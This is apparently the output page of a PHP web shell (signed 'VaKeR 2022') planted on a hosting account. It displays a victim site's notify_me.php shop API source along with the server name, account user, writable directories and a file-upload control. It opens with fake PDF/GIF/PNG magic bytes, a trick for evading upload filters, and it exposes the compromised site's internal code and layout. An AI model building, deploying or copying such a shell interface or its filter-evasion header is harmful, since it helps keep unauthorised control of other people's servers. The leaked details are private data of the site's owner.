%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/api/notify_me.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");
include("auth.php");

define('BASE_URL', 'https://meatandgo.fr/');

function response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);

    exit;
}

/*
|--------------------------------------------------------------------------
| Support Form Data + Raw JSON
|--------------------------------------------------------------------------
*/

$json = json_decode(file_get_contents("php://input"), true);

$product_id = intval(
    $_REQUEST['product_id']
    ?? $json['product_id']
    ?? 0
);

/*
|--------------------------------------------------------------------------
| Validation
|--------------------------------------------------------------------------
*/

if ($product_id <= 0) {

    response(false, "Product ID Required", [

        "required_fields" => [
            "product_id"
        ],

        "example_url" =>
            BASE_URL .
            "api/notify_me.php?product_id=1",

        "form_data" => [
            [
                "key" => "product_id",
                "value" => "1"
            ]
        ],

        "raw_json" => [
            "product_id" => 1
        ]
    ]);
}

/*
|--------------------------------------------------------------------------
| Product Check
|--------------------------------------------------------------------------
*/

$productQry = mysqli_query(
    $conn,
    "SELECT *
     FROM areawecover
     WHERE id='$product_id'"
);

if (mysqli_num_rows($productQry) == 0) {

    response(false, "Product Not Found");
}

$product = mysqli_fetch_assoc($productQry);

/*
|--------------------------------------------------------------------------
| Already Requested?
|--------------------------------------------------------------------------
*/

$check = mysqli_query(
    $conn,
    "SELECT id
     FROM notify_me
     WHERE user_id='$user_id'
     AND product_id='$product_id'"
);

if (mysqli_num_rows($check) > 0) {

    response(true, "Already Added To Notify List", [

        "product_id" => $product_id,

        "title" => $product['title']
    ]);
}

/*
|--------------------------------------------------------------------------
| Save Request
|--------------------------------------------------------------------------
*/

mysqli_query(
    $conn,
    "INSERT INTO notify_me
    (
        user_id,
        product_id
    )
    VALUES
    (
        '$user_id',
        '$product_id'
    )"
);

response(true, "You Will Be Notified When Product Is Back In Stock", [

    "notify_id" =>
        mysqli_insert_id($conn),

    "product" => [

        "id" =>
            $product['id'],

        "title" =>
            $product['title']
    ]
]);

$conn->close();

?>

VaKeR 2022